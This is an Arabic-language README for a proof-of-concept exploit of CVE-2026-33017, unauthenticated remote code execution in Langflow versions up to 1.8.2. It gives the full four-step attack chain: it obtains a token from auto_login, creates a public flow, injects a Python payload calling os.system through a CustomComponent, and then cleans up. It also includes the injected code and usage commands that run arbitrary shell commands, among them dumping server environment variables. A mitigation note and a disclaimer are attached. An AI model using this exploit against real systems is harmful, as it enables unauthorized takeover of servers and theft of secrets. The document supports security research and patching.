
إثبات مفهوم لـ CVE-2026-33017، يوضح تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في إصدارات Langflow المعرّضة للخطر من خلال حقن تعليمات برمجية خبيثة في CustomComponent.
معرّف CVE: CVE-2026-33017
البرنامج المتأثر: Langflow
الإصدارات المتأثرة: <= 1.8.2
الإصدار المُصلح: >= 1.9.0
الخطورة: حرجة
المؤلف: arensballiu
التاريخ: 2026
يكشف Langflow عن نقطة نهاية عامة لبناء التدفقات (/api/v1/build_public_tmp/{flowID}/flow) تقبل
كتل تعليمات برمجية عشوائية من نوع CustomComponent وتنفّذها على جانب الخادم دون مصادقة. فعن طريق
حقن حمولة Python خبيثة في حقل code الخاص بعقدة CustomComponent، يستطيع مهاجم غير مُصادَق
تشغيل أوامر نظام تشغيل عشوائية بامتيازات عملية خادم Langflow.
تستغل سلسلة الهجوم أولاً نقطة النهاية /api/v1/auto_login، التي تُصدر رمز bearer دون
طلب بيانات اعتماد عندما يعمل Langflow في إعداداته الافتراضية للتسجيل التلقائي. ثم تستخدم
ذلك الرمز لإنشاء تدفق عام مؤقت وإطلاق تنفيذ التعليمات البرمجية على جانب الخادم عبر نقطة نهاية
البناء.
يتضمن المشروع ملف docker يُنشئ نسخة docker مثبّت عليها Langflow وقيد التشغيل.
| نقطة النهاية | الطريقة | تتطلب مصادقة | الغرض |
|---|---|---|---|
/api/v1/auto_login | GET | لا | الحصول على رمز bearer (يجب تفعيل التسجيل التلقائي) |
/api/v1/flows/ | POST | نعم (Bearer) | إنشاء تدفق جديد |
/api/v1/build_public_tmp/{flowID}/flow | POST | لا (عام) | إطلاق البناء - نقطة التنفيذ المتأثرة |
/api/v1/flows/{flowID} | DELETE | نعم (Bearer) | تنظيف التدفق الذي تم إنشاؤه |
الملف: CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| العلامة | الصيغة الطويلة | مطلوب | الوصف |
|---|---|---|---|
-u | --url | نعم | عنوان URL الأساسي لنسخة Langflow |
-c | --command | نعم | أمر نظام التشغيل المراد تنفيذه على الخادم |
-d | --delete | لا | حذف التدفق الذي تم إنشاؤه بعد الاستغلال |
التحقق من تنفيذ التعليمات البرمجية:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
استرداد متغيرات بيئة الخادم:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
حافظ على استمرارية الاتصال بعد الاستغلال (تخطَّ التنظيف):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
يحقن الاستغلال المقتطف البرمجي Python التالي في حقل code لعقدة CustomComponent:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - يستورد وحدة os ديناميكيًا وينفّذ أمر shell الذي يوفّره المهاجم على الخادم.CustomComponent صالحة مطلوبة لتلبية محمّل المكوّنات في Langflow دون إثارة خطأ في التحليل.PUBLIC ويُستدعى نقطة نهاية البناء على نقطة نهايته العامة، مما يعني أنه لا حاجة إلى ملف تعريف ارتباط للجلسة أو رمز مصادقة لتفعيل التنفيذ.يتيح نظام CustomComponent في Langflow إرسال شيفرة Python عشوائية كجزء من تعريف
التدفق. تقوم نقطة النهاية /api/v1/build_public_tmp/{flowID}/flow ببناء هذه الشيفرة وتقييمها جزئيًا
على جانب الخادم، بما في ذلك العبارات على مستوى الوحدة، دون عزل أو تقييد الوصول إلى
دوال Python المدمجة مثل __import__.
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
يمكن للمهاجم المجهول تنفيذ الخطوات الأربع جميعها ضد نشر Langflow افتراضي.
LANGFLOW_AUTO_LOGIN=false) في أي نشر متاح عبر الإنترنت.يُقدَّم هذا الإثبات للمفهوم لأغراض البحث الأمني التعليمي والمصرّح به فقط. استخدام هذا السكربت ضد أنظمة دون إذن كتابي صريح غير قانوني وغير أخلاقي. لا يتحمل المؤلف والمساهمون أي مسؤولية عن سوء الاستخدام.